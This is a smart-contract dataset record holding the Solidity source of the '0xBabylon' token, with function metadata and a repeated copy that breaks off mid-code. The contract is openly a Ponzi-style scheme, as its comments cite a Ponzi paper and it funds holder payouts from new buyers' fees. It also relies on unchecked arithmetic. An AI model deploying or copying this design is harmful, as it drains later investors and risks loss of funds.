contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
processReinvest
function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; }
// Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 18935, 21427 ] }
1,486
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 